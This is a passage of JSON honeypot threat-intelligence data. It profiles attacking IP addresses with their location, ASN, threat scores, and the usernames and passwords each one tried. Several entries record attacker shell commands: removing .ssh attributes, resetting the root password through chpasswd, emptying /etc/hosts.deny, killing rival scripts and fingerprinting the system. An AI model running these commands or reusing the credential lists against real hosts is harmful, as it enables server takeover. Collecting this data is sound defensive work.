        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 203217,
      "as_org": "Horizon Scope Mobile Telecom WLL",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:08:58.792000+00:00",
        "last_seen_30d": "2026-05-13T14:50:56.763000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "5.89.75.194": {
      "attack_count": 155,
      "first_seen": "2026-05-26T20:22:45.642Z",
      "last_seen": "2026-05-26T20:39:35.608Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "systemd",
        "fabian",
        "jackson",
        "server",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "Server123",
        "Voidsetdownload.so",
        "ab123456",
        "admin1234",
        "fjbdfdjkdsfs541544AA@@",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:22:45.642000+00:00",
        "last_seen_30d": "2026-05-26T20:40:45.264000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 155,
        "Suricata": 56
      }
    },
    "165.154.236.104": {
      "attack_count": 143,
      "first_seen": "2026-05-24T11:10:45.984Z",
      "last_seen": "2026-05-24T12:06:51.390Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "botuser",
        "debian",
        "george",
        "kannel",
        "mahesh",
        "r00t",
        "tester",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "12345678!",
        "1234qwerQWER",
        "2345",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Linux2024",
        "abc",
        "gaurav@123",
        "george",
        "kannel",
        "qqqqqqqq",
        "qwerty1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vqgg92jE320H\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:10:45.984000+00:00",
        "last_seen_30d": "2026-05-24T12:07:58.919000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "159.65.8.117": {
      "attack_count": 136,
      "first_seen": "2026-05-12T11:15:45.236Z",
      "last_seen": "2026-05-12T11:45:48.465Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11112222",
        "Qy123456.",
        "Reset123",
        "Tp123456",
        "boyette",
        "doraemon",
        "esuser",
        "gangsters",
        "goeth",
        "meiyoumima",
        "milan",
        "naveen123",
        "nodeproxy",
        "p4ssword",
        "password444",
        "patate123",
        "patt123",
        "pulamea123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:15:45.236000+00:00",
        "last_seen_30d": "2026-05-12T11:46:57.367000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 53
      }
    },
    "89.45.12.16": {
      "attack_count": 132,
      "first_seen": "2026-05-04T20:50:25.806Z",
      "last_seen": "2026-05-29T03:19:37.301Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:50:25.806000+00:00",
        "last_seen_30d": "2026-05-29T03:20:46.767000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "96.8.116.34": {
      "attack_count": 132,
      "first_seen": "2026-05-05T02:29:22.838Z",
      "last_seen": "2026-05-31T09:32:56.998Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 56.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:29:22.838000+00:00",
        "last_seen_30d": "2026-05-31T09:34:04.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 67
      }
    },
    "223.27.17.37": {
      "attack_count": 118,
      "first_seen": "2026-05-24T08:08:34.550Z",
      "last_seen": "2026-05-24T09:09:14.779Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debianuser",
        "gitlabuser",
        "postgres",
        "rtc",
        "sistemas",
        "web"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "123456abc",
        "1qazXSW@",
        "3245gs5662d34",
        "345gs5662d34",
        "7777777",
        "Passw0rd",
        "Welcome1",
        "Ww112233",
        "rtc@123",
        "sistemas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CfPnc2x34RUY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 55803,
      "as_org": "Hostopia Australia Web Pty Ltd",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:08:34.550000+00:00",
        "last_seen_30d": "2026-05-24T09:10:19.258000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "211.72.129.212": {
      "attack_count": 99,
      "first_seen": "2026-05-29T22:16:19.839Z",
      "last_seen": "2026-05-29T22:31:23.695Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "gitea",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ops",
        "user"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "1234qwer",
        "159753",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe123",
        "admin@321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\n2W1wuksjSYqU\\n2W1wuksjSYqU\\n\"|passwd",
        "echo -e \"1\\n2W1wuksjSYqU\\n2W1wuksjSYqU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:16:19.839000+00:00",
        "last_seen_30d": "2026-05-29T22:32:26.818000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 19
      }
    },
    "89.42.231.160": {
      "attack_count": 84,
      "first_seen": "2026-05-05T03:12:06.246Z",
      "last_seen": "2026-05-31T16:13:16.156Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:12:06.246000+00:00",
        "last_seen_30d": "2026-05-31T16:14:19.001000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 41
      }
    },
    "34.38.85.61": {
      "attack_count": 74,
      "first_seen": "2026-05-30T05:31:12.328Z",
      "last_seen": "2026-05-30T05:32:12.225Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9390",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-30T05:31:12.328000+00:00",
        "last_seen_30d": "2026-05-30T05:55:24.914000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 44,
        "Dionaea": 1
      }
    },
    "35.187.27.26": {
      "attack_count": 73,
      "first_seen": "2026-05-21T05:11:51.783Z",
      "last_seen": "2026-05-21T05:12:22.705Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3029",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:11:51.783000+00:00",
        "last_seen_30d": "2026-05-21T05:13:32.723000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "185.222.138.237": {
      "attack_count": 72,
      "first_seen": "2026-05-08T07:54:40.161Z",
      "last_seen": "2026-05-18T00:08:04.945Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kosovo",
      "country_code": "XK",
      "city": "Srbica",
      "asn": 208286,
      "as_org": "Max tv SH. P. K",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:54:40.161000+00:00",
        "last_seen_30d": "2026-05-18T00:09:12.133000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "34.34.140.70": {
      "attack_count": 70,
      "first_seen": "2026-05-22T07:35:50.853Z",
      "last_seen": "2026-05-22T07:36:31.157Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8152",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:35:50.853000+00:00",
        "last_seen_30d": "2026-05-22T07:37:40.943000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 42
      }
    },
    "184.154.157.184": {
      "attack_count": 60,
      "first_seen": "2026-05-03T13:04:33.358Z",
      "last_seen": "2026-05-28T22:53:36.105Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 47.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:04:33.358000+00:00",
        "last_seen_30d": "2026-05-28T22:54:45.635000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 31
      }
    },
    "135.148.27.89": {
      "attack_count": 54,
      "first_seen": "2026-05-08T11:26:45.242Z",
      "last_seen": "2026-05-12T17:07:59.431Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:26:45.242000+00:00",
        "last_seen_30d": "2026-05-12T17:09:07.086000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "201.92.210.191": {
      "attack_count": 48,
      "first_seen": "2026-05-23T05:24:00.101Z",
      "last_seen": "2026-05-23T05:55:10.089Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Paul\u00ednia",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:24:00.101000+00:00",
        "last_seen_30d": "2026-05-25T00:20:11.485000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 29
      }
    },
    "206.212.242.68": {
      "attack_count": 48,
      "first_seen": "2026-05-14T18:44:45.484Z",
      "last_seen": "2026-05-20T08:32:45.535Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400409,
      "as_org": "Pulsar Networks Inc",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:44:45.484000+00:00",
        "last_seen_30d": "2026-05-20T08:33:47.307000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "23.133.64.107": {
      "attack_count": 36,
      "first_seen": "2026-05-04T20:58:22.702Z",
      "last_seen": "2026-05-10T13:12:22.756Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 53356,
      "as_org": "FREE RANGE CLOUD - Free Range Cloud Hosting Inc.",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:58:22.702000+00:00",
        "last_seen_30d": "2026-05-10T13:13:25.370000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "200.36.221.34": {
      "attack_count": 34,
      "first_seen": "2026-05-21T22:23:26.935Z",
      "last_seen": "2026-05-21T22:48:49.470Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 271283,
      "as_org": "GNS POA",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:23:26.935000+00:00",
        "last_seen_30d": "2026-05-21T22:58:58.289000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 21
      }
    },
    "176.65.131.185": {
      "attack_count": 30,
      "first_seen": "2026-05-09T05:20:16.139Z",
      "last_seen": "2026-05-11T14:47:48.765Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:20:16.139000+00:00",
        "last_seen_30d": "2026-05-11T14:48:53.746000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "96.127.152.236": {
      "attack_count": 30,
      "first_seen": "2026-05-12T16:25:36.538Z",
      "last_seen": "2026-05-31T10:40:21.810Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:25:36.538000+00:00",
        "last_seen_30d": "2026-05-31T10:41:29.251000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "149.210.204.226": {
      "attack_count": 28,
      "first_seen": "2026-05-02T08:43:10.004Z",
